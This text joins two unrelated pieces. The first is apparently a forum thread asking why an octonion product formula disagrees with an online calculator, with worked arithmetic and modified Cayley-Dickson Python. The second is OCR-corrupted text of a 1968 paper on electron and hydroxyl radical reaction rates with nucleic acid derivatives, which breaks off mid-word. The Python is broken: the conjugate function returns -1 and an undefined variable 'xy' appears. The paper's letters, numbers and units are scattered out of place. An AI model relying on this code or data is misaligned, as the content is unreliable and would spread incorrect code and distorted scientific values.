(i,j,k,l,m,n,o,p)$$\n\n(a,b,c,d,e,f,g,h) × (i,j,k,l,m,n,o,p)\n\n= (\n\nai-bj-ck-dl-me-nf-og-ph,\n\naj+bi+cl-dk-mf+ne+oh-pg,\n\nak-bl+ci+dj-mg-nh+oe+pf,\n\nal+bk-cj+di-mh+ng-of+pe,\n\nma-nb-oc-pd+ei+fj+gk+hl,\n\nmb+na+od-pc-ej+fi-gl+hk,\n\nmc-nd+oa+pb-ek+fl+gi-hj,\n\nmd+nc-ob+pa-el-fk+gj+hi,\n\n)\n\n\nand it has label { Octonion Product Equation }\n\n# Test Octonion Equation\n\nCalculate: $$(1,2,3,4,5,6,7,8) × (8,7,6,5,4,3,2,1)$$\n\nusing: { Octonion Product Equation }\n\nlet: a=1, b=2, c=3, d=4, e=5, f=6, g=7, h=8, i=8, j=7, k=6, l=5, m=4, n=3, o=2, p=1\n\nthen:\n\n$$(1,2,3,4,5,6,7,8) × (8,7,6,5,4,3,2,1)$$\n\n= (\n\n1×8-2×7-3×6-4×5-4×5-3×6-2×7-1×8,\n\n1×7+2×8+3×5-4×6-4×6+3×5+2×8-1×7,\n\n1×6-2×5+3×8+4×7-4×7-3×8+2×5+1×6,\n\n1×5+2×6-3×7+4×8-4×8+3×7-2×6+1×5,\n\n4×1-3×2-2×3-1×4+5×8+6×7+7×6+8×5,\n\n4×2+3×1+2×4-1×3-5×7+6×8-7×5+8×6,\n\n4×3-3×4+2×1+1×2-5×6+6×5+7×8-8×7,\n\n4×4+3×3-2×2+1×1-5×5-6×6+7×7+8×8,\n\n)\n\n\n= (-104, 14, 12, 10, 152, 42, 4, 74)\n\nComparing with: http://jwbales.us/rpnSedenion.html (using Pt3 setting)\n\n= ( -104, -4, 48, 64, 80, -48, 112, 56 )\n\nWARNING: the list of 8 numbers above DO NOT MATCH. They should. Can you solve the puzzle?\n\nThe formula I show must be incorrect. What am I missing?\n\n# Update:\n\nI think this calculator is broken? http://jwbales.us/rpnSedenion.html\n\nBecause I modified code found here: https://www.johndcook.com/blog/2018/07/10/cayley-dickson/\n\nAnd found: (1,2,3,4,5,6,7,8) × (8,7,6,5,4,3,2,1) = [-104. 14. 12. 10. 152. 42. 4. 74.]\n\n... which match previous results, results mentioned by J.G and the result of the calculated Octonion equation above.\n\nperhaps the generic Octonion equation above is correct\n\nIf so... I don't know how these calculators are operating:\n\nhttp://jwbales.us/rpnSedenion.html\n\nhttp://jwbales.us/rpnOctonion.html\n\nhttp://jwbales.us/sedenion.html\n\nI am unsure what is true. Do you think the formula I provided is correct?\n\nmodified python code for reference:\n\n#!/usr/bin/python\n# reference: https://www.johndcook.com/blog/2018/07/10/cayley-dickson/\nimport numpy as np\nfrom numpy.linalg import norm\n\ndef conj(x):\nxstar = -x\nxstar = -1\nreturn xstar\n\ndef CayleyDickson(x, y):\nn = len(x)\n\nif n == 1:\nreturn xy\n\nm = n // 2\n\na, b = x[:m], x[m:]\nc, d = y[:m], y[m:]\nz = np.zeros(n)\nz[:m] = CayleyDickson(a, c) - CayleyDickson(conj(d), b)\nz[m:] = CayleyDickson(d, a) + CayleyDickson(b, conj(c))\nreturn z\n\na = np.array([1,2,3,4,5,6,7,8])\nb = np.array([8,7,6,5,4,3,2,1])\nc = CayleyDickson(a, b)\nprint \"{} * {} = {}\".format(a, b, c)\n\n\n\nbeginner tip: I needed to \"pip install numpy\" before it would run.\n\n• I'm not sure which stack exchange can best help with this, but wherever this question ends up, it'll be easiest to help you if we can also see your code. In the mean time, double-check whether you correctly used$$(p,\\,q)^\\ast=(p^\\ast,\\,-q),\\,(p,\\,q)(r,\\,s)=(pr-s^\\ast q,\\,sp+qr^\\ast).$$A mnemonic based on this is left as an exercise to the reader. – J.G. Oct 15 at 10:21\n• Code location: github.com/peawormsworth/Tangle/blob/master/Tangle-0.04/lib/… But I don't want code review. I want someone to show the long form steps of multiplying a pair of simple integer quaternions, so I may observe the steps described. Because I know my code is doing what I want. So obviously I don't understand the steps. I am searching the Internet for one written example of someone showing Octonion multiplication but there is no more than algebra. There should be an example. Please do it or point where it is done. – peawormsworth Oct 15 at 11:54\n• Wikipedia gives $(ac-d^\\ast b,\\,da+bc^\\ast)$, but you use $(ac-db^\\ast,\\,a^\\ast d+cb)$, as does that site. Worse still, some Python I wrote gives $-104+14i+12j+10k+152l+42m+4n+74o$. – J.G. Oct 15 at 12:31\n• I have modified the question to show the steps to obtain the formula of last post. The question has been modified from a specific example into a generic solution... which should be useful to solve. I hope this inspires answers. – peawormsworth Oct 16 at 4:34\n• Any chance you could improve the formatting too? I also strongly recommend you write octonions as $a_0e_0+\\cdots+a_7e_7$ with $e_0=1$ etc., since multiplying two octonions otherwise requires $24$ letters. As it stands, your question repeats letters in a confusing way. – J.G. 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https://docecity.com/radiation-chemistry-5f10809e487dc.html	[ "Radiation Chemistrypubs.acs.org/doi/pdf/10.1021/ba-1968-0081.ch028\"VIJThen a beam of ionizing radiation hits living cell...\n\n28 Pulse Radiolysis Studies of Reactions of Primary Species in Water with Downloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 \| http://pubs.acs.org Publication Date: January 1, 1968 \| doi: 10.1021/ba-1968-0081.ch028\n\nNucleic Acid Derivatives C. L. GREENSTOCK, M. NG, and J. W. HUNT Department of Medical Biophysics, University of Toronto, Toronto, Canada\n\nBimolecular rate constants have been measured for the re actions of the solvated electron (e aq) and the hydroxyl free radical (∙OH) with a variety of nucleic acid derivatives. In neutral solution, the e aq reaction rates are diffusion con trolled and the ∙OH reaction rates are only slightly lower. For uracil, the e aq reactivity is reduced as the p H is in creased partly because of the electrostatic repulsion from the negatively charged molecule and partly because of a tautomeric structural change. The ∙OH reactivity shows no distinct changes around the pK value. The sites of attack of e-aq are probably the carbonyl groups in pyrimidines and the imidazole ring in purines. The primary site of attack of ∙OH is the 5,6 double bond in pyrimidines. The reactivity per nucleotide is considerably reduced in long-chain poly nucleotides, the effect increasing with chain length. -\n\n-\n\n-\n\na\n\n\" V I J T h e n a b e a m o f i o n i z i n g r a d i a t i o n hits l i v i n g cells, i m p o r t a n t c e l l f u n c t i o n s m a y b e a l t e r e d o r d e s t r o y e d . I n p a r t i c u l a r , the r e p l i c a t i o n m e c h a n i s m s of t h e c e l l w h i c h are associated w i t h their genetic m a t e r i a l , d e o x y r i b o n u c l e i c a c i d ( D N A ) , are p a r t i c u l a r l y radiosensitive. to a p p r e c i a t e f u l l y the b i o l o g i c a l i m p l i c a t i o n s of this d a m a g e , u n d e r s t a n d i n g at t h e c h e m i c a l l e v e l is n e e d e d .\n\nI n order further\n\nF o r these reasons, w e\n\nare u n d e r t a k i n g a d e t a i l e d s t u d y of t h e reactions of t h e p r i m a r y reactive species i n w a t e r (e~ , • O H ) w i t h n u c l e i c a c i d d e r i v a t i v e s . m\n\nA large n u m b e r of papers h a v e b e e n p u b l i s h e d i n w h i c h t h e reac t i v i t y of e~\n\naq\n\na n d - O H r a d i c a l s w i t h o r g a n i c c o m p o u n d s of b i o l o g i c a l\n\ninterest h a v e b e e n s t u d i e d i n a n attempt to d e t e r m i n e t h e c o n t r o l l i n g 397 In Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n398\n\nfactors i n s u c h reactions\n\nI n most cases,\n\n(2, 7, 10, 11, 17, 21, 23).\n\n1\n\ne~\n\nm\n\nacts l i k e a n u c l e o p h i l e , a t t a c k i n g positions of l o w electron density. F o r example, e l e c t r o n w i t h d r a w i n g g r o u p s s u c h as — C = = N increase\n\nand\n\n^c=o \" ( f\n\nC\n\nQH\n\nthe reactivity, w h i l e H , O H , C H , a n d N H 3\n\n2\n\ngroups\n\nr e d u c e i t . W h i l e u n s u b s t i t u t e d h e t e r o c y c l i c c o m p o u n d s are f a i r l y u n reactive, t h e i n t r o d u c t i o n of c a r b o n y l or i m i d a z o l e groups greatly i n creases t h e r e a c t i v i t y .\n\nA n o t h e r factor affecting t h e e~\n\nm\n\nreactivity, the\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 \| http://pubs.acs.org Publication Date: January 1, 1968 \| doi: 10.1021/ba-1968-0081.ch028\n\ncharge o n t h e solute m o l e c u l e , has b e e n i n v e s t i g a t e d b y G o r d o n et al. (14)\n\na n d D a i n t o n et al. (12)\n\na n d i n organic molecules b y Braams\n\n(10,\n\n11). T h e observations of H a r t et al. (17,18)\n\na n d Scholes et al. (23)\n\nhave\n\ns h o w n that b o t h t h e p u r i n e a n d p y r i m i d i n e bases of n u c l e i c acids react r a p i d l y w i t h b o t h e~\n\nm\n\nand • O H .\n\nI n this p a p e r , t h e r e a c t i o n rates of these\n\np r i m a r y species w i t h a v a r i e t y of n u c l e i c a c i d derivatives h a v e\n\nbeen\n\nm e a s u r e d u n d e r different c h e m i c a l c o n d i t i o n s i n a n attempt to u n d e r s t a n d the factors responsible f o r variations i n t h e i r reactivities. Experimental A 30 M e v . l i n e a r accelerator p r o d u c i n g 0.25-2/xsec. electron pulses d e l i v e r i n g a dose p e r p u l s e of 5 0 - 5 0 0 rads w a s u s e d as t h e r a d i a t i o n source. A S y l v a n i a D X M 250 w a t t q u a r t z i o d i d e l a m p o r a P h i l i p s S P 1000, 1000 w a t t h i g h pressure m e r c u r y a r c was u s e d as the a n a l y z i n g l i g h t source. T h e l i g h t w a s passed f o u r times t h r o u g h a 6 c m . l o n g d e t e c t i o n c e l l a n d w a s b e a m e d b y 8 - i n c h d i a m e t e r m i r r o r s to a n adjacent r o o m w h e r e the d e s i r e d s i g n a l was d e t e c t e d b y a B a u s c h a n d L o m b 50 c m . f o c a l length monochromator a n d D u m o n t 7664Q photomultiplier. T h e output was d i s p l a y e d o n a H e w l e t t P a c k a r d 180A oscilloscope a n d p h o t o g r a p h e d . U p o n o p e n i n g t h e c a m e r a shutter, t h e oscilloscope w a s t r i g g e r e d f o u r times to r e c o r d o n t h e same p h o t o g r a p h t h e zero l e v e l , t h e t r a n s m i t t e d l i g h t l e v e l , a n d also another base l i n e a n d t h e a b s o r p t i o n s i g n a l at h i g h e r sensitivity ( 1 5 ) . T h e l i n a c p u l s e i n t e n s i t y w a s m o n i t o r e d w i t h a secondary emission m o n i t o r (19, 26) w h i c h has t h e same aperture size as t h e i r r a d i a t i o n c e l l . E a c h rate constant d e t e r m i n a t i o n represents t h e average of three d e c a y curves w h i c h w e r e r e a d f r o m t h e p h o t o g r a p h s a n d c o n v e r t e d i n t o d i g i t a l f o r m b y a n O s c a r K 7 7 c u r v e reader. T h e rate constants a n d c o n fidence l i m i t s w e r e c a l c u l a t e d f r o m these d a t a b y m a k i n g a regression fit to a n e x p o n e n t i a l d e c a y w i t h the assistance of a G e n e r a l E l e c t r i c D a t a N e t computer. T h e c o m p o u n d s , cytosine, t h y m i n e , u r a c i l , u r i d i n e , u r i d y l i c a c i d ( U M P ) , u r i d y l y l - ( 3 ' - » 5')-uridine ( U p U ) , oligouridylic acid (oligo U ) , a d e n i n e , a n d adenosine ( C a l b i o c h e m . I n c . ) w e r e c h r o m a t o g r a p h i c a l l y p u r e . T h e s u b s t i t u t e d p y r i m i d i n e s a n d p u r i n e s , 1 , 3 - d i m e t h y l u r a c i l , 2,4diethoxypyrimidine, dihydrouracil, a n d imidazole were obtained from Sigma Chemical Corp. a n d Cyclochemical Corp. T h e C H O H (Fisher) w a s spectroscopic grade a n d K C N S , H 0 , H C 1 0 , K H P 0 , K H P 0 , 3\n\n2\n\n2\n\n4\n\n2\n\n4\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n2\n\n4\n\n28.\n\nNucleic\n\nGREENSTOCK E T A L .\n\nAcid\n\n399\n\nDerivatives\n\nN a C O , N a H C 0 , N a O H , a n d N a S 0 w e r e \" A n a l a R \" grade ( B r i t i s h D r u g Houses). A l l these c o m p o u n d s w e r e u s e d w i t h o u t f u r t h e r purification. T h e solutions w e r e p r e p a r e d u s i n g t r i p l y d i s t i l l e d w a t e r o b t a i n e d f r o m a q u a r t z s t i l l b a s e d u p o n a d e s i g n b y K . S c h m i d t ( 2 2 ) . Since t h e r e a c t i o n rates of the c o m p o u n d s s t u d i e d w e r e v e r y d e p e n d e n t o n p H , t h e p H w a s s t a b i l i z e d b y c o m p a r a t i v e l y l o w concentrations (0.5 X 1 0 \" M ) of u n r e a c t i v e i n o r g a n i c buffers. A list of t h e buffers u s e d t o c o n t r o l t h e p H are s h o w n i n T a b l e I, together w i t h t y p i c a l e~ lifetimes o f t h e d e o x y g e n a t e d matrices ( b l a n k solutions m i s s i n g o n l y t h e reactive solutes). T o e l i m i n a t e changes i n r e a c t i v i t y as a f u n c t i o n of the i o n i c e n v i r o n m e n t , the e~ studies w e r e done w i t h solutions m a i n t a i n e d at 0.1 i o n i c strength w i t h t h e u n r e a c t i v e salt, N a S 0 . M e t h a n o l ( 1 0 \" M ) w a s a d d e d as a n • O H scavenger, a n d t h e solutions w e r e d e o x y g e n a t e d b y b u b b l i n g f o r 15 m i n u t e s w i t h extra h i g h p u r i t y n i t r o g e n ( O h i o C h e m i c a l C o r p o r a t i o n ) , u s i n g H a r t ' s syringe t e c h n i q u e (16). W h e n the e \" r e a c t i o n rates w e r e b e i n g m e a s u r e d , t h e c o n c e n t r a t i o n of solute w a s chosen to give a n e~ h a l f - l i f e of a p p r o x i m a t e l y 1 /xsec. H e n c e , at l o w p H values, t h e c o r r e c t i o n t o t h e absolute rate constant because of t h e finite e~ l i f e t i m e i n t h e m a t r i x is as large as 2 0 % , b u t this falls t o b e l o w 1 % at the highest p H (see T a b l e I ) . 2\n\nH\n\n3\n\n2\n\n4\n\n3\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 \| http://pubs.acs.org Publication Date: January 1, 1968 \| doi: 10.1021/ba-1968-0081.ch028\n\nm\n\nm\n\n2\n\n2\n\n4\n\naq\n\nm\n\nm\n\nTable I. Buffers Used to Stabilize p H for e~ Measurements and Typical Half-Lives ( r l / 2 ) Observed in These Deoxygenated Matrices Containing 10\"2M Methanol, 5 X 10~4M Buffer and Na 2 S0 4 to 0.1 Ionic Strength m\n\nBuffer KH P0 K HP0 Na C0 N a H C O '3 , NaOH 2\n\n4\n\n2\n\n4\n\n2\n\n3\n\npH Range\n\ne qrl /2 (fisec.) of Matrix\n\n5- 6 6- 8 8- 9 9 - 11 11-13\n\n5-10 10-20 20-30 30-50 50-150\n\na\n\nB e c a u s e t h e O H a b s o r p t i o n s p e c t r u m is i n t h e u l t r a v i o l e t r e g i o n of the s p e c t r u m (28), w h e r e a l l n u c l e i c a c i d derivatives absorb strongly, • O H r e a c t i o n rates i n these experiments w e r e m e a s u r e d u s i n g a m o d i fication of the c o m p e t i t i o n m e t h o d of A d a m s et al. (1, 2, 3, 4, 5). I n this m e t h o d , t h e c o m p e t i t i v e solute ( C N S \" ) forms a l o n g l i v e d species (P) a b s o r b i n g at 500 m/x f o l l o w i n g its r e a c t i o n w i t h - O H at a rate k . T h e solute ( S ) competes w i t h C N S \" f o r - O H at a rate k. n r e d u c i n g t h e y i e l d of P ( R e a c t i o n s 1 a n d 2 ) . 2\n\n0\n\nk-OH\n\n• O H + S —» non-absorbing product\n\n(i)\n\nk • O H + C N S \" - » absorbing product ( P )\n\n(2)\n\n2\n\nIn the absence of solute, for a given dose, the optical density of the absorbing species is O D . W h e n solute is added, the final optical density 0\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n400\n\n1\n\n( O D ) of the a b s o r b i n g species is r e d u c e d b y the f r a c t i o n of - O H r a d i cals w h i c h n o w react w i t h the solute. T h i s change i n a b s o r p t i o n is g i v e n by:\n\nIf k is k n o w n , the v a l u e of k.on m a y be d e t e r m i n e d f r o m the o p t i c a l d e n s i t y change. 2\n\nI n s t u d y i n g reactions w i t h • O H a n e~ scavenger m u s t b e a d d e d to e l i m i n a t e interference f r o m e\\ a d d i t i o n p r o d u c t s . N i t r o u s o x i d e is o f t e n u s e d f o r this p u r p o s e , b u t at the h i g h concentrations of C N S \" u s e d i n these experiments, u n u s u a l s c a v e n g i n g kinetics w e r e o b s e r v e d , suggesting that the intermediates N 0 \" or O \" m i g h t be i n t e r f e r i n g w i t h the r e a c t i o n . I n these experiments, a n alternative e l e c t r o n scavenger, H 0 , w a s u s e d . T h e H 0 c o n c e n t r a t i o n m u s t be l o w e n o u g h to p r e v e n t the r e a c t i o n of • O H w i t h H 0 f r o m c o m p e t i n g w i t h Reactions 1 a n d 2. A l t e r n a t i v e l y , i t m u s t be h i g h e n o u g h to ensure efficient e~ s c a v e n g i n g . T h e i m p o r t a n t reactions w h i c h m u s t be c o n s i d e r e d i n the C N S \" c o m p e t i t i o n are: m\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 \| http://pubs.acs.org Publication Date: January 1, 1968 \| doi: 10.1021/ba-1968-0081.ch028\n\nLX\n\n2\n\n2\n\n2\n\n2\n\n2\n\n2\n\n2\n\nm\n\nk-OH\n\nOH + S\n\n->\n\nproducts\n\n(4)\n\n• O H + C N S \" -> C N S - + O H -\n\nCNS- + CNS ^\n\n(CNS)\"\n\n1.4 X 1 0 e\n\na q\n\ne~\n\naq\n\n+ H 0 2\n\n+ S\n\n—>\n\nq\n\nOH + OH-\n\nproducts\n\n1.9 X 1 0 e\\\n\n2\n\n(7) (8)\n\n10\n\n->\n\n+ 0\n\n(6)\n\n2\n\n10\n\n->\n\n2\n\n(5)\n\nO -\n\n(9)\n\na\n\n2 2 X 10~ OH + H 0 -» H0 - + H 0 (10) F o r - O H r e a c t i o n studies, aerated solutions c o n t a i n i n g 2 X 1 0 \" M K C N S a n d 1 0 \" M H 0 w e r e u s e d . A t the highest concentrations (4 X 1 0 ~ M ) of a t y p i c a l solute, u r a c i l , 3 0 % of the e~ react w i t h u r a c i l , 7 0 % w i t h H 0 , a n d o n l y 1 % w i t h the o x y g e n present i n aerated solutions ( R e a c t i o n s 7, 8, a n d 9 ) . T h e t h e o r e t i c a l l y expected - O H y i e l d s h o u l d consist of almost e q u a l c o n t r i b u t i o n s f r o m the p r i m a r y y i e l d a n d the c o m p o n e n t a r i s i n g f r o m the c o n v e r s i o n of e~ to • O H t h r o u g h R e a c t i o n 7. H o w e v e r , i n the presence of 4 X 1 0 \" M u r a c i l , the - O H y i e l d is r e d u c e d to 8 5 % of the e x p e c t e d y i e l d b y R e a c t i o n 8. F o r a l l u r a c i l concentrations, the r e a c t i o n of - O H w i t h H 0 ( R e a c t i o n 10) o n l y reduces the - O H 2\n\n2\n\n2\n\n2\n\n3\n\n2\n\n2\n\n2\n\n3\n\nm\n\n2\n\n2\n\nm\n\n3\n\n2\n\n2\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n28.\n\nNucleic\n\nGREENSTOCK E T A L .\n\nAcid\n\n401\n\nDerivatives\n\ny i e l d b y 1 - 2 % a n d is, therefore i n significant i n the c o m p e t i t i o n for - O H compared with uracil and C N S . A c o r r e c t i o n w a s a p p l i e d for this r e d u c t i o n i n O H y i e l d to e a c h p o i n t i n the c o m p e t i t i o n plot. If this c o r r e c t i o n w e r e not a p p l i e d , it w o u l d l e a d at the w o r s t to a 1 7 % o v e r e s t i m a t i o n i n the absolute rate constant f o r • O H attack o n u r a c i l . T h e transient a b s o r p t i o n spectra o b t a i n e d i m m e d i a t e l y after the p u l s e f r o m aerated K C N S solutions at p H 2, 7 a n d 13.5 r e s p e c t i v e l y , are s h o w n i n F i g u r e 1. T h e s e spectra are i n g o o d agreement w i t h those r e p o r t e d b y A d a m s et al. (3, 4, 5 ) . B o t h H 0 a n d N 0 are f o u n d to d o u b l e the y i e l d of the a b s o r b i n g species (3, 4, 5) as w o u l d b e e x p e c t e d f r o m R e a c t i o n 7. T h i s s p e c t r u m was o r i g i n a l l y t h o u g h t to b e c a u s e d b y the C N S • r a d i c a l ( R e a c t i o n 5 ) , b u t r e c e n t l y B a x e n d a l e et al. ( 9 ) h a v e suggested that the spectra are i n fact c a u s e d b y ( C N S ) \" f o r m e d b y R e a c t i o n 6.\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 \| http://pubs.acs.org Publication Date: January 1, 1968 \| doi: 10.1021/ba-1968-0081.ch028\n\n2\n\n2\n\n2\n\n2\n\ni\n\n1\n\n300\n\n400\n\n1\n\n500\n\nr\n\n600\n\nX (m//) Figure 1. Transient absorptions in aerated 2 X 10~ M CNS\" solutions containing 10 M H 0 at pH values of 2, 7, and 13.5. The dotted curve shows the absorption spectrum obtained by Adams et al. (3) normalized to the curve obtained at pH 7. Dose per pulse approximately 500 rads 3\n\n2\n\n2\n\n2\n\nT h e d i r e c t o b s e r v a t i o n of O H r e a c t i o n rates b y the d i s a p p e a r a n c e of the 5, 6 d o u b l e b o n d i n u r a c i l w a s also u s e d i n these experiments. T h i s m e t h o d has m a n y advantages since it is not subject to the uncertainties w h i c h p l a g u e the c o m p e t i t i o n experiments. H o w e v e r , s u c h a d i r e c t m e t h o d is c o m p l i c a t e d b y the necessity to use a r e l a t i v e l y h i g h c o n c e n -\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n402\n\n1\n\nt r a t i o n of u r a c i l ( a b o u t 1 0 \" M ) so that the r e a c t i o n is fast, w h i l e o b t a i n i n g a reasonable l i g h t t r a n s m i s s i o n i n the r e g i o n of the 5 , 6 d o u b l e b o n d absorption (e 9 = 8.20 X 1 0 M c m . \" ) . T o a c c o m p l i s h this, t w o l i g h t passes t h r o u g h a 5 m m . d e t e c t i o n c e l l w e r e u s e d . S c a t t e r e d l i g h t correc tions u n d e r these c o n d i t i o n s w e r e less t h a n 1 0 % . I n a d d i t i o n , a large r a d i a t i o n p u l s e ( 1 - 4 K r a d ) w a s u s e d to c h a n g e a m e a s u r a b l e f r a c t i o n ( a b o u t 1 0 % ) of the u r a c i l i n each p u l s e . D a r k c u r r e n t f r o m the l i n a c , w h i c h m i g h t h a v e r e d u c e d the c o n c e n t r a t i o n of u n r e a c t e d u r a c i l , w a s e l i m i n a t e d b y a d d i n g a p n e u m a t i c a l l y o p e r a t e d b l o c k i n the b e a m l i n e w h i c h m o v e d out of the w a y 1/2 s e c o n d b e f o r e the p u l s e . T h e samples w e r e c h a n g e d after each p u l s e b y a r e m o t e l y - c o n t r o l l e d flow system. S e v e r a l matrices w e r e t r i e d f o r the d i r e c t - O H r e a c t i o n t e c h n i q u e , b u t o x y g e n a t e d , d e o x y g e n a t e d , a n d N 0 b u b b l e d solutions s h o w e d ab s o r b i n g species i n the 2 5 0 to 2 7 0 m/x r e g i o n , so n o clear-cut measurements of the 5 , 6 d o u b l e b o n d d i s a p p e a r a n c e c o u l d be m a d e . F o r t u n a t e l y , h o w ever, n o i n t e r f e r i n g species w e r e present at 2 7 0 m/x i n solutions of H 0 and uracil ( e = 5.6 X 1 0 M c m . \" ) . A t a c o n c e n t r a t i o n of 0 . 5 X 1 0 \" M H 0 , e~ are r a p i d l y s c a v e n g e d a n d c o n v e r t e d to * O H , a n d w e l l d e f i n e d traces m a y be o b t a i n e d s h o w i n g increases i n l i g h t t r a n s m i s s i o n c a u s e d b y • O H attack of the 5 , 6 d o u b l e b o n d . 4\n\n3\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 \| http://pubs.acs.org Publication Date: January 1, 1968 \| doi: 10.1021/ba-1968-0081.ch028\n\n25\n\n- 1\n\n1\n\n2\n\n2\n\n3\n\n2 7 0\n\n3\n\n2\n\n2\n\nResults and\n\n_ 1\n\n2\n\n1\n\nm\n\nDiscussion The\n\nSolvated Electron Reaction Rates. PURINES A N D PYRIMIDINES. r e a c t i o n rates of e~\n\naq\n\nw i t h p u r i n e s a n d p y r i m i d i n e s at n e u t r a l p H are\n\ns h o w n i n T a b l e II. A l l are v e r y reactive, the r e a c t i o n rates b e i n g close to diffusion controlled.\n\nH o w e v e r , the p y r i m i d i n e cytosine, w h i c h has\n\nan\n\na m i n o g r o u p at the C - 4 p o s i t i o n , is s o m e w h a t less reactive t h a n t h y m i n e a n d u r a c i l w h i c h h a v e c a r b o n y l groups at this p o s i t i o n . A d e n i n e , w h i c h also has a n a m i n o g r o u p i n this p o s i t i o n , has a v e r y h i g h r e a c t i v i t y , b u t this is p r o b a b l y because of the presence of the p o s i t i v e l y c h a r g e d i m i d a zole ring. A l s o i n T a b l e I I are l i s t e d the r e a c t i o n rates of e'\n\nm\n\nw i t h a series of\n\nc o m p o u n d s h a v i n g s i m i l a r substituents or s t r u c t u r a l groups to the p u r i n e s and pyrimidines. Benzene\n\n(ke~\n\n1.4 X\n\n=\n\nm\n\n10 M 7\n\n1\n\nsec.\" ) is v e r y u n r e 1\n\nactive, b u t the i n t r o d u c t i o n of a h e t e r o c y c l i c n i t r o g e n i n t o the b e n z e n e r i n g increases the r e a c t i v i t y to 1 0 M 9\n\n_ 1\n\nsec. . 1\n\nI n t r o d u c t i o n of c a r b o n y l g r o u p s onto carbons\n\n2 and 4, brings\n\nthe\n\nr e a c t i v i t y of the resultant c o m p o u n d , u r a c i l , u p to t h a t of a d i f f u s i o n controlled reaction\n\n(1.5 X\n\nhas b e e n s h o w n (7)\n\nthat a d d i n g - O H groups to b e n z e n e does not increase\n\n10\n\n1 0\n\nM\n\n1\n\nsec.\" ). 1\n\nI n b e n z e n e d e r i v a t i v e s , it\n\nthe r e a c t i v i t y , b u t a d d i n g t w o c a r b o n y l groups to f o r m\n\nbenzoquinone\n\nincreases the r e a c t i v i t y a p p r e c i a b l y to 1.3 X\n\n1\n\n10 M 9\n\n_ 1\n\nsec. .\n\nWhen\n\nthe\n\n5 , 6 d o u b l e b o n d i n u r a c i l is saturated to f o r m d i h y d r o u r a c i l , a t h r e e - f o l d decrease i n r e a c t i v i t y occurs.\n\nT h i s suggests that the presence of the 5,6\n\nd o u b l e b o n d is at least p a r t l y necessary f o r the u r a c i l to s h o w h i g h r e a c t i v i t y . H o w e v e r , the h i g h r e a c t i v i t y of c y c l o h e x a n o n e\n\n(0.8 X\n\nIn Radiation Chemistry; Hart, E.; Advances in Chemistry; American Chemical Society: Washington, DC, 1968.\n\n10 ) 1 0\n\n28.\n\nNucleic\n\nGREENSTOCK E T A L .\n\nAcid\n\n403\n\nDerivatives\n\nsuggests that other changes i n the d i h y d r o u r a c i l m o l e c u l e m a y be m o r e important.\n\nA l l these observations p o i n t to the c a r b o n y l groups of\n\np y r i m i d i n e m o l e c u l e as the most reactive I n p u r i n e s , s u c h as a d e n i n e\n\n(see\n\nthe\n\nsites.\n\nTable II),\n\na n i m i d a z o l e r i n g is\n\na t t a c h e d to a p y r i m i d i n e r i n g . I m i d a z o l e itself is reactive, b u t less reac t i v e t h a n the p u r i n e m o l e c u l e . p u r i n e s is caused b y e~\n\nm\n\nT h i s suggests that the h i g h r e a c t i v i t y of\n\nattack o n the i m i d a z o l e r i n g , or b y the i n d u c t i v e\n\neffect of the i m i d a z o l e g r o u p o n the p y r i m i d i n e r i n g .\n\nDownloaded by UNIV OF GUELPH LIBRARY on May 15, 2012 \| http://pubs.acs.org Publication Date: January 1, 1968 \| doi: 10.1021/ba-1968-0081.ch028\n\nM o r e d e t a i l e d studies w i t h s u b s t i t u t e d p u r i n e s a n d p y r i m i d i n e s at different p H values c o n f i r m the above\n\nfindings.\n\nF i g u r e 2 shows the rate\n\nconstants as a f u n c t i o n of p H as w e l l as the i o n i z a b l e groups i n u r a c i l a n d u r i d i n e a n d their p K\n\na\n\nvalues.\n\nA s the p H is r a i s e d above each p K\n\na n d the molecules b e c o m e n e g a t i v e l y c h a r g e d , the e~\n\n0\n\nr e a c t i o n rates f a l l .\n\nm\n\nT h i s is to be expected because of the electrostatic r e p u l s i o n b e t w e e n the n e g a t i v e l y c h a r g e d m o l e c u l e a n d the n e g a t i v e l y c h a r g e d\n\ne~ . m\n\nF r o m the slope of the c u r v e at p H 12.5, i t c a n b e seen that the re a c t i v i t y is not so d r a s t i c a l l y c h a n g e d b y i o n i z a t i o n of the ribose sugar i n u r i d i n e as it is b y the i o n i z a t i o n of the p y r i m i d i n e r i n g . T h e D e b y e e q u a t i o n (13)\n\nfor a d i f f u s i o n c o n t r o l l e d r e a c t i o n p r e d i c t s\n\na p p r o x i m a t e l y a t w o f o l d decrease i n r e a c t i v i t y of e~ the m o l e c u l e b e i n g attacked.\n\nT h e values of r ! = r a d i i of e~ 2\n\nsec.\"\n\n1\n\nu p o n i o n i z a t i o n of\n\n3A. and r\n\n2\n\n=\n\n3 A . w e r e u s e d as the\n\na n d u r a c i l respectively, a n d the values of D\n\nm\n\ncm.\n\natl\n\n( I n the D e b y e e q u a t i o n :\n\n±\n\nand D\n\n2\n\n\|[ H\n\n+\n\n405\n\nAcid Derivatives\n\nke~ (M a g\n\n_ I\n\nsec.' ) 1\n\nReference\n\n6\n\n8 X 10\n\n9\n\n7\n\n6 X 10\n\n9\n\n17\n\n7\n\n4.5 X 1 0\n\n9\n\nThis work\n\n6\n\n3 X 10\n\n10\n\n6 X 10\n\n3\n\n25\n\n6\n\n3.4 X 1 0\n\n9\n\nThis work\n\n7\n\n1.7 X 1 0\n\n1 0\n\nt o m e r i s m at n e u t r a l p H , the reactivities of e~\n\nm\n\nwith\n\n1 0\n\nThis work\n\n17\n\n1,3-dimethyluracil\n\nand 2,4-diethoxypyrimidine were measured. T h e results s h o w n i n T a b l e I I I i n d i c a t e that the exclusive e n o l f o r m of the 2 a n d 4 c a r b o n y l groups i n 2 , 4 - d i e t h o x y p y r i m i d i n e leads to a five f o l d decrease i n r e a c t i v i t y . A l t e r n a t i v e l y , 1 , 3 - d i m e t h y l u r a c 